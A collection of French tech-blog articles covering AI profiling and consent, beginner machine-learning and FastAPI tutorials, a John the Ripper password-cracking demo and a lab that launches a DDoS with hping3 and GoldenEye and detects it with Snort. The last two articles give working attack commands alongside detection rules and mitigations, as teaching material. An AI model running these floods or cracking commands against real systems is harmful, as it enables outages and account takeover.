Phishing : de l’email frauduleux à l’arme numérique multi-canaux et réputationnelle

by Axel Legay

Cybersécurité, IA, RGPD : le trio stratégique que tout entrepreneur doit maîtriser

by Axel Legay

IA, consentement et contrôle : Qui possède votre trace numérique en 2025 ?

En 2025, l’intelligence artificielle ne repose plus uniquement sur des données explicites.

Elle s’épanouit à partir de signaux que nous ignorons émettre — des schémas de comportement, le ton de notre voix, nos habitudes de défilement, les micro-délai dans notre frappe. Ces fragments, assemblés par des modèles d’apprentissage automatique, forment ce que l’on appelle de plus en plus notre « trace numérique ».

Cette ombre numérique n’est pas une simple métadonnée.

C’est une simulation en temps réel de ce que vous êtes, utilisée pour prédire ce que vous ferez, ressentirez ou choisirez.

Et la véritable question aujourd’hui n’est plus de savoir si nous sommes observés, mais bien si nous conservons notre libre arbitre dans un monde où l’IA interprète et agit en notre nom — souvent sans notre connaissance ni notre consentement.

Le profil invisible

Les préoccupations traditionnelles liées à la vie privée portaient sur les fuites de données, les mots de passe piratés ou les cookies intrusifs.

En 2025, la menace est plus subtile et systémique : l’inférence.

Les systèmes d’IA ne se contentent plus de stocker vos données :

ils construisent des profils comportementaux complexes pour anticiper vos décisions.

Qu’il s’agisse d’un service financier évaluant votre solvabilité ou d’un assistant numérique filtrant votre fil d’actualité, ces systèmes s’appuient sur des modèles probabilistes construits à partir de votre exhaust numérique.

Vous n’y avez pas forcément consenti — en tout cas, pas directement.

Mais le simple fait d’être en ligne entraîne mécaniquement ces modèles.

Le consentement par défaut

La collecte de données par les plateformes a évolué :

elle est passée d’un opt-in explicite à une passivité par défaut.

Les politiques de confidentialité sont opaques, les formulaires de consentement volontairement ambigus, et l’inférence algorithmique est rarement encadrée par la loi.

Pire encore, l’émergence d’analyses générées par l’IA — des scores de personnalité aux prédictions en santé mentale — crée une zone grise :

même si les données brutes vous appartiennent, les interprétations aussi ?

Dans la plupart des cadres juridiques, la réponse est floue.

Le RGPD, par exemple, régule les données personnelles, mais dit peu de choses sur les traits inférés ou les prédictions algorithmiques.

Ce vide juridique expose les utilisateurs à une nouvelle forme de colonialisme des données — où des machines extraient de la valeur à partir de notre comportement, sans que nous n’ayons jamais vu la carte.

La propriété algorithmique

Qui possède votre trace ?

• Les courtiers en données disent : « c’est anonymisé ».

• Les plateformes disent : « ce sont des inférences, pas des données ».

• Les régulateurs disent : « nous travaillons dessus ».

Pendant ce temps, le profilage prédictif redéfinit l’accès à l’emploi, le scoring de crédit, les tarifs d’assurance ou le ciblage politique.

Une IA que vous ne rencontrerez jamais prend des décisions basées sur une version de vous qu’elle a elle-même construite —

un jumeau probabiliste que vous ne pouvez ni auditer ni corriger.

Ces profils IA doivent-ils être reconnus comme données personnelles ?

Les individus doivent-ils avoir le droit d’y accéder, de les supprimer, ou de les contester ?

Techniquement, c’est possible. Éthiquement, c’est indispensable. Légalement, nous sommes en retard.

Une voie à suivre

Des solutions émergent :

• Apprentissage fédéré

• Confidentialité différentielle

• Coffres-forts de données contrôlés par l’utilisateur

Mais le vrai défi n’est ni technique, ni juridique :

il est politique et culturel.

Nous devons repenser la notion d’agence numérique.

Le consentement ne peut être passif.

Le profilage ne peut être invisible.

L’IA ne peut pas agir en votre nom sans mécanisme de contrôle ou de recours.

Concevoir une véritable transparence impose de réinventer le design des interfaces, les modèles économiques et la gouvernance des données.

Cela signifie outiller les citoyens — pas seulement les entreprises — pour qu’ils puissent gérer leur présence numérique.

Conclusion : la nouvelle frontière des droits numériques

En 2025, les droits numériques ne se résument plus à ce que vous partagez consciemment.

Ils concernent ce que d’autres déduisent, synthétisent et exploitent — à partir des ombres que vous ignoriez avoir laissées derrière vous.

by Axel Legay

SharePoint Under Fire: When Collaboration Becomes a Gateway to Cyberattacks!

by Stéphane Pochet

Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z

L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée.

Étape 1 : Comprendre les données et le rôle de df

Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu (Survived = 1) ou non (Survived = 0).

Quand on lit ce fichier CSV avec pandas, on stocke les données dans une structure appelée DataFrame, abrégée en df. Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et chaque ligne est un exemple (un passager). Voici comment on charge ce fichier :

import pandas as pd

df = pd.read_csv('https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv')
print(df.head())

Étape 2 : Nettoyage des colonnes – pourquoi et comment

Le jeu de données brut contient beaucoup de colonnes inutiles ou incomplètes. Par exemple, les colonnes Name, Ticket, ou Cabin sont peu pertinentes pour notre tâche. De plus, certaines lignes n’ont pas de valeur dans la colonne Age.

Nous allons donc :

• Sélectionner les colonnes pertinentes : Pclass (classe sociale), Sex, Age, Fare, et la cible Survived.
• Remplacer les valeurs manquantes dans la colonne Age par la médiane.
• Convertir les valeurs textuelles (comme "male" et "female") en nombres.

df = df[['Pclass', 'Sex', 'Age', 'Fare', 'Survived']]
df['Age'].fillna(df['Age'].median(), inplace=True)
df['Sex'] = df['Sex'].map({'male': 0, 'female': 1})

Étape 3 : Séparation entre variables explicatives et cible

Le machine learning fonctionne ainsi : on donne au modèle des entrées (par exemple Age, Sex, Fare) et on lui demande d’apprendre à prédire une sortie(Survived). On sépare donc notre tableau en deux :

X = df[['Pclass', 'Sex', 'Age', 'Fare']]
y = df['Survived']

Ensuite, pour bien évaluer notre modèle, on le teste sur des données qu’il n’a jamais vues :

from sklearn.model_selection import train_test_split

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

Étape 4 : Entraînement du modèle

On utilise ici un arbre de décision, un algorithme simple mais très efficace pour des jeux de données de ce type :

from sklearn.tree import DecisionTreeClassifier

model = DecisionTreeClassifier()
model.fit(X_train, y_train)

Étape 5 : Évaluation de la précision

On peut maintenant mesurer la qualité de notre modèle :

from sklearn.metrics import accuracy_score

y_pred = model.predict(X_test)
print("Précision :", accuracy_score(y_test, y_pred))

Étape 6 : Utilisation du modèle sur un cas réel

Imaginons que vous ayez un nouveau passager et que vous vouliez prédire s’il aurait survécu. Voici un exemple :

import numpy as np

# Exemple : femme de 29 ans, en 2e classe, billet à 25 €
nouveau_passager = np.array([[2, 1, 29, 25]])
prediction = model.predict(nouveau_passager)
print("Survivante" if prediction[0] == 1 else "Non survivante")

Conclusion : vous venez de construire une intelligence artificielle

Vous avez vu comment charger des données, les nettoyer, entraîner un modèle, le tester, puis l’utiliser. Ce n’est pas de la théorie : c’est le cœur même du machine learning. Python rend cela accessible à tous, même sans être mathématicien ou ingénieur.

Le monde de l’IA ne vous est plus fermé. Il vous appartient maintenant de continuer à explorer, tester, modifier les paramètres, changer d’algorithme, et surtout : pratiquer.

by Axel Legay

Créer une API Météo Intelligente avec Python, IA et FastAPI

Ce projet consiste à créer une API REST moderne qui interroge un service météo en temps réel, puis applique un modèle de machine learning pour prédire la température dans les prochaines heures. Le tout est exposé via une interface web performante grâce à FastAPI.

🧠 Objectif de l'API

• Collecter les données météo d'une ville via l'API OpenWeatherMap
• Appliquer un modèle IA entraîné sur des données historiques
• Exposer les résultats sous forme d’API REST

🧰 Librairies utilisées

pip install fastapi uvicorn requests pandas scikit-learn

📡 Récupération des données météo

Le fichier suivant interroge OpenWeatherMap avec une clé API. Le retour est simplifié pour n’extraire que les champs utiles.

import requests

API_KEY = "VOTRE_CLE_API"

def get_weather(city):
    url = f"http://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}&units=metric"
    response = requests.get(url)
    if response.status_code != 200:
        raise Exception(f"Erreur API météo : {response.status_code}")
    data = response.json()
    return {
        "city": city,
        "temperature": data["main"]["temp"],
        "humidity": data["main"]["humidity"],
        "wind": data["wind"]["speed"],
        "description": data["weather"][0]["description"]
    }

🤖 Modélisation IA avec scikit-learn

Le modèle de régression linéaire apprend à prédire la température future (dans 3h) à partir des conditions actuelles. Ce modèle est volontairement simple pour illustrer le concept.

import numpy as np
from sklearn.linear_model import LinearRegression

class WeatherPredictor:
    def __init__(self):
        self.model = LinearRegression()

    def train(self, historical_data):
        X = historical_data[["temperature", "humidity", "wind"]]
        y = historical_data["temperature_in_3h"]
        self.model.fit(X, y)

    def predict(self, current):
        features = np.array([[current["temperature"], current["humidity"], current["wind"]]])
        return self.model.predict(features)[0]

🚀 Création de l'API REST avec FastAPI

Le cœur du projet consiste à exposer un endpoint REST qui combine données météo en direct et prédiction. L’interface Swagger est automatiquement générée.

from fastapi import FastAPI
from weather_fetcher import get_weather
from ml_model import WeatherPredictor
import pandas as pd

app = FastAPI(
    title="API Météo IA",
    description="Prévisions météo avec FastAPI et scikit-learn",
    version="1.0"
)

historical = pd.DataFrame([
    {"temperature": 20, "humidity": 65, "wind": 5, "temperature_in_3h": 21.5},
    {"temperature": 25, "humidity": 55, "wind": 3, "temperature_in_3h": 26.5},
    {"temperature": 30, "humidity": 45, "wind": 2, "temperature_in_3h": 32.0},
    {"temperature": 15, "humidity": 80, "wind": 6, "temperature_in_3h": 16.5}
])

model = WeatherPredictor()
model.train(historical)

@app.get("/predict/{city}")
def predict(city: str):
    try:
        current = get_weather(city)
        predicted = model.predict(current)
        return {
            "city": city,
            "current_weather": current,
            "predicted_temperature_in_3h": round(predicted, 2)
        }
    except Exception as e:
        return {"error": str(e)}

💻 Lancement local

uvicorn main:app --reload

Accessible ensuite via l’interface interactive : http://localhost:8000/docs

🛠️ Améliorations possibles

• Connexion à une base de données (SQLite, PostgreSQL)
• Entraînement sur des données météo réelles
• Sérialisation du modèle avec joblib
• Système de cache pour éviter les appels API multiples
• Système d’authentification JWT pour sécuriser les endpoints

📁 Structure recommandée

project/
├── main.py
├── weather_fetcher.py
├── ml_model.py
├── requirements.txt
└── data/

📌 Résumé

by Axel Legay

Peut-on vraiment "craquer" un mot de passe ? Une démonstration pas à pas

👇 Ce qu’on va faire

Dans cet article, on montre concrètement comment un outil gratuit (présent dans Kali Linux) peut retrouver un mot de passe simple en quelques secondes.
Mais on va aussi voir pourquoi un mot de passe complexe bloque toute attaque — et comprendre pourquoi.

🛠️ Les outils nécessaires

On utilise un outil connu des experts cybersécurité :
John the Ripper (inclus dans Kali Linux, utilisé pour les tests d’audit de mots de passe).

John ne "pirate" pas un système en ligne. Il teste des mots de passe chiffrés en local, comme s’il avait volé un fichier de mots de passe (un hash).
Cela simule ce qui se passe quand un hacker récupère une base de données de mots de passe cryptés.

✅ Étape 1 – Créer un mot de passe simple et le chiffrer

On va créer un mot de passe :

bonjour123

Puis on le chiffre avec cette commande :

echo -n "bonjour123" | openssl passwd -6 -stdin

📌 Explication :

• echo -n : affiche "bonjour123" sans retour à la ligne
• | : envoie cette sortie en entrée de la commande suivante
• openssl passwd -6 : chiffre un mot de passe avec l'algorithme SHA-512 (utilisé dans Linux)
• -stdin : lit depuis l’entrée standard (notre mot de passe)

Résultat : on obtient un hash comme :

$6$abcdEFgh$JcV... (chaîne longue illisible)

C’est ce que les bases de données stockent à la place du mot de passe.

💾 Étape 2 – Enregistrer ce hash dans un fichier

echo '$6$abcdEFgh$JcV...' > hash.txt

Le fichier hash.txt contient maintenant 1 mot de passe chiffré.

🧨 Étape 3 – Lancer l’attaque avec un dictionnaire

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

📌 Explication :

• john : lance l’outil
• --wordlist=... : fichier de mots de passe courants à tester (ex: rockyou.txt)
• hash.txt : contient notre hash à casser

Résultat :

bonjour123

Trouvé en quelques secondes.
Pourquoi ? Car ce mot de passe est trop simple et trop courant.

🔐 Étape 4 – Complexifier le mot de passe

Changeons de mot de passe :

Bonj0ur!2024-#

Il est :

• Long (14 caractères)
• Mélangé : majuscule, minuscule, chiffres, symboles
• Non trivial : ce n’est pas une phrase courante

echo -n "Bonj0ur!2024-#" | openssl passwd -6 -stdin > hash2.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt

Résultat : John ne trouve rien.

0 password hashes cracked, 1 left

Ce mot de passe n’est pas dans la liste et trop complexe pour être deviné.

🚀 Et si on forçait John à tout essayer ?

john --incremental hash2.txt

Même là, il faudrait des jours, mois ou années pour tester toutes les combinaisons possibles. Pourquoi ? Car le nombre de combinaisons est gigantesque avec 14 caractères et symboles.

📊 Résumé comparatif

🔍 Conclusion

Ce test montre que :

• Les outils d’attaque sont accessibles à tous
• Les mots de passe simples sont très faciles à casser
• Un bon mot de passe bloque même les outils puissants
• Ce n’est pas une question de technologie, mais de rigueur

🧭 Envie d’aller plus loin ?

• Utiliser --incremental ou --mask pour tester plus vite
• Essayer Hashcat (plus rapide avec une carte graphique)
• Simuler la récupération d’un fichier /etc/shadow pour un test réaliste
• Comprendre comment surveiller ou bloquer ces attaques (fail2ban, alerte SIEM, etc.)

by Axel Legay

Mener une Attaque DDoS avec Kali Linux et la Détecter avec Snort

Avertissement : ce tutoriel est destiné à un usage éthique et pédagogique dans un environnement de test. Toute utilisation non autorisée est interdite.

1. Objectif

Simuler une attaque DDoS depuis Kali Linux et observer sa détection en temps réel par Snort. Cette approche est parfaite pour un exercice red/blue team.

2. Préparation de l'environnement

• Attaquant : Kali Linux
• Cible : Ubuntu Server avec Apache
• Snort IDS : sur une machine intermédiaire (interface en mode promiscuous)

3. Simulation d'une attaque DDoS

3.1 SYN Flood avec hping3

Le SYN flood sature les connexions TCP en enchaînant des paquets SYN sans finaliser le handshake.

sudo hping3 -c 50000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.20

3.2 HTTP Flood avec GoldenEye

GoldenEye provoque un déluge de requêtes HTTP (POST/GET).

git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
python3 goldeneye.py http://192.168.1.20 -w 100 -s 500 -m post

4. Installation de Snort

Installe Snort sur une machine Debian/Ubuntu :

sudo apt update
sudo apt install snort

5. Configuration des règles Snort

5.1 Règle pour SYN Flood

Détecte 20 SYN dans la même seconde depuis une même IP.

alert tcp any any -> $HOME_NET 80 (msg:"SYN Flood Detected"; flags:S; threshold:type threshold, track by_src, count 20, seconds 1; sid:1000001; rev:1;)

5.2 Règle pour HTTP Flood

Détecte 50 requêtes POST en 2 secondes.

alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood Detected"; content:"POST"; threshold:type threshold, track by_src, count 50, seconds 2; sid:1000002; rev:1;)

6. Lancer Snort

Exécute Snort sur l'interface réseau :

sudo snort -A console -i eth1 -c /etc/snort/snort.conf -K ascii

7. Exemple d'alerte

Voici une alerte typique pour un SYN Flood :

[**] [1:1000001:1] SYN Flood Detected [**]
[Classification: Attempted Denial of Service] [Priority: 2]
07/01-15:33:02.437116 192.168.1.100:1056 -> 192.168.1.20:80
TCP TTL:64 TOS:0x0 ID:456 SEQ:101 ACK:0 WIN:1024

8. Mitigation

Tu peux bloquer l'adresse IP source avec :

iptables -A INPUT -s 192.168.1.100 -j DROP

9. Analyse avec Wireshark

Capture le trafic avec tcpdump :

sudo tcpdump -i eth1 port 80 -w ddos_traffic.pcap

Analyse ensuite le fichier dans Wireshark pour vérifier le flood et repérer les patterns répétitifs.

Conclusion

Ce laboratoire démontre comment allier offensive et défensive dans une démarche résiliente : simuler un DDoS, détecter, lire les alertes, et mettre en place des contre-mesures. Une base solide pour tout analyste SOC ou formateur sécurité.

by Axel Legay